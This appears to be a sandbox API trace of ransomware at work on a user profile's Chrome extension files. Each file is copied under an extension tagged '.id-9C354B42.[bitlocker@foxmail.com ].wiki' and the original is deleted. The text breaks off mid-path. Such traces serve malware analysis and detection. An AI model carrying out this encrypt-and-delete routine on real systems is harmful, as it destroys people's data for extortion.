[0172.697] WriteFile (in: hFile=0x19c, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xd0, lpOverlapped=0x0) returned 1 [0172.698] ReadFile (in: hFile=0x1a0, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0172.698] WriteFile (in: hFile=0x19c, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.698] SetEndOfFile (hFile=0x19c) returned 1 [0172.698] CloseHandle (hObject=0x19c) returned 1 [0172.698] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.698] SetEndOfFile (hFile=0x1a0) returned 1 [0172.699] CloseHandle (hObject=0x1a0) returned 1 [0172.699] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.699] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json")) returned 1 [0172.699] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json") returned 151 [0172.699] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json") returned 151 [0172.699] lstrlenW (lpString=".doc") returned 4 [0172.699] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.699] lstrlenW (lpString=".docx") returned 5 [0172.699] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.699] lstrlenW (lpString=".pdf") returned 4 [0172.699] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.699] lstrlenW (lpString=".xls") returned 4 [0172.699] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.699] lstrlenW (lpString=".xlsx") returned 5 [0172.700] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.700] lstrlenW (lpString=".ppt") returned 4 [0172.700] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.700] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json") returned 151 [0172.700] lstrlenW (lpString=".zip") returned 4 [0172.700] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.700] lstrlenW (lpString=".rar") returned 4 [0172.700] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.700] lstrlenW (lpString=".bz2") returned 4 [0172.700] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.700] lstrlenW (lpString=".7z") returned 3 [0172.700] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.700] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json") returned 151 [0172.700] lstrlenW (lpString=".dbf") returned 4 [0172.700] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.700] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json") returned 151 [0172.700] lstrlenW (lpString=".1cd") returned 4 [0172.700] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.700] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json") returned 151 [0172.700] lstrlenW (lpString=".jpg") returned 4 [0172.700] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.700] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json") returned 151 [0172.700] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json") returned 151 [0172.700] lstrlenW (lpString=".doc") returned 4 [0172.700] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.700] lstrlenW (lpString=".docx") returned 5 [0172.700] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.700] lstrlenW (lpString=".pdf") returned 4 [0172.700] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.701] lstrlenW (lpString=".xls") returned 4 [0172.701] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.701] lstrlenW (lpString=".xlsx") returned 5 [0172.701] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.701] lstrlenW (lpString=".ppt") returned 4 [0172.701] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.701] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json") returned 151 [0172.701] lstrlenW (lpString=".zip") returned 4 [0172.701] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.701] lstrlenW (lpString=".rar") returned 4 [0172.701] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.701] lstrlenW (lpString=".bz2") returned 4 [0172.701] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.701] lstrlenW (lpString=".7z") returned 3 [0172.701] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.701] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json") returned 151 [0172.701] lstrlenW (lpString=".dbf") returned 4 [0172.701] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.701] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json") returned 151 [0172.701] lstrlenW (lpString=".1cd") returned 4 [0172.701] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.701] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\messages.json") returned 151 [0172.701] lstrlenW (lpString=".jpg") returned 4 [0172.701] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.701] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.701] lstrlenW (lpString="messages.json") returned 13 [0172.701] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.702] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=222) returned 1 [0172.702] CloseHandle (hObject=0x1a0) returned 1 [0172.702] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json")) returned 0x2020 [0172.702] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.702] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.702] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.702] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0172.702] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.043] GetLastError () returned 0x0 [0173.043] ReadFile (in: hFile=0x1a0, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xde, lpOverlapped=0x0) returned 1 [0173.044] WriteFile (in: hFile=0x320, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0173.045] ReadFile (in: hFile=0x1a0, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0173.045] WriteFile (in: hFile=0x320, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.045] SetEndOfFile (hFile=0x320) returned 1 [0173.045] CloseHandle (hObject=0x320) returned 1 [0173.045] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.045] SetEndOfFile (hFile=0x1a0) returned 1 [0173.046] CloseHandle (hObject=0x1a0) returned 1 [0173.046] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.046] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json")) returned 1 [0173.047] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json") returned 151 [0173.047] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json") returned 151 [0173.047] lstrlenW (lpString=".doc") returned 4 [0173.047] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.047] lstrlenW (lpString=".docx") returned 5 [0173.047] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.047] lstrlenW (lpString=".pdf") returned 4 [0173.047] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.047] lstrlenW (lpString=".xls") returned 4 [0173.047] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.047] lstrlenW (lpString=".xlsx") returned 5 [0173.047] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.047] lstrlenW (lpString=".ppt") returned 4 [0173.047] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.047] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json") returned 151 [0173.047] lstrlenW (lpString=".zip") returned 4 [0173.047] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.047] lstrlenW (lpString=".rar") returned 4 [0173.047] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.047] lstrlenW (lpString=".bz2") returned 4 [0173.047] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.048] lstrlenW (lpString=".7z") returned 3 [0173.048] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.048] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json") returned 151 [0173.048] lstrlenW (lpString=".dbf") returned 4 [0173.048] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.048] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json") returned 151 [0173.048] lstrlenW (lpString=".1cd") returned 4 [0173.048] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.048] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json") returned 151 [0173.048] lstrlenW (lpString=".jpg") returned 4 [0173.048] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.048] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json") returned 151 [0173.048] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json") returned 151 [0173.048] lstrlenW (lpString=".doc") returned 4 [0173.048] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.048] lstrlenW (lpString=".docx") returned 5 [0173.048] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.048] lstrlenW (lpString=".pdf") returned 4 [0173.048] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.048] lstrlenW (lpString=".xls") returned 4 [0173.048] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.048] lstrlenW (lpString=".xlsx") returned 5 [0173.048] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.048] lstrlenW (lpString=".ppt") returned 4 [0173.048] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.048] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json") returned 151 [0173.048] lstrlenW (lpString=".zip") returned 4 [0173.048] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.049] lstrlenW (lpString=".rar") returned 4 [0173.049] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.049] lstrlenW (lpString=".bz2") returned 4 [0173.049] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.049] lstrlenW (lpString=".7z") returned 3 [0173.049] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.049] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json") returned 151 [0173.049] lstrlenW (lpString=".dbf") returned 4 [0173.049] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.049] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json") returned 151 [0173.049] lstrlenW (lpString=".1cd") returned 4 [0173.049] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.049] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\messages.json") returned 151 [0173.049] lstrlenW (lpString=".jpg") returned 4 [0173.049] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.049] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.049] lstrlenW (lpString="messages.json") returned 13 [0173.049] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.050] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=209) returned 1 [0173.050] CloseHandle (hObject=0x1a0) returned 1 [0173.050] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_us\\messages.json")) returned 0x2020 [0173.050] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_us\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.050] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_us\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.050] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.050] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.050] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_us\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0173.051] GetLastError () returned 0x0 [0173.051] ReadFile (in: hFile=0x1a0, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xd1, lpOverlapped=0x0) returned 1 [0173.052] WriteFile (in: hFile=0x320, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0173.052] ReadFile (in: hFile=0x1a0, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0173.053] WriteFile (in: hFile=0x320, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.053] SetEndOfFile (hFile=0x320) returned 1 [0173.053] CloseHandle (hObject=0x320) returned 1 [0173.053] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.053] SetEndOfFile (hFile=0x1a0) returned 1 [0173.054] CloseHandle (hObject=0x1a0) returned 1 [0173.054] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.054] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_us\\messages.json")) returned 1 [0173.054] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json") returned 154 [0173.054] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json") returned 154 [0173.054] lstrlenW (lpString=".doc") returned 4 [0173.054] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.054] lstrlenW (lpString=".docx") returned 5 [0173.054] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.054] lstrlenW (lpString=".pdf") returned 4 [0173.054] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.054] lstrlenW (lpString=".xls") returned 4 [0173.054] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.054] lstrlenW (lpString=".xlsx") returned 5 [0173.055] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.055] lstrlenW (lpString=".ppt") returned 4 [0173.055] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.055] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json") returned 154 [0173.055] lstrlenW (lpString=".zip") returned 4 [0173.055] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.055] lstrlenW (lpString=".rar") returned 4 [0173.055] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.055] lstrlenW (lpString=".bz2") returned 4 [0173.055] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.055] lstrlenW (lpString=".7z") returned 3 [0173.055] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.055] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_US\\messages.json") returned 154 [0173.055] lstrlenW (lpString=".dbf") returned 4 [0173.055] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.055] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 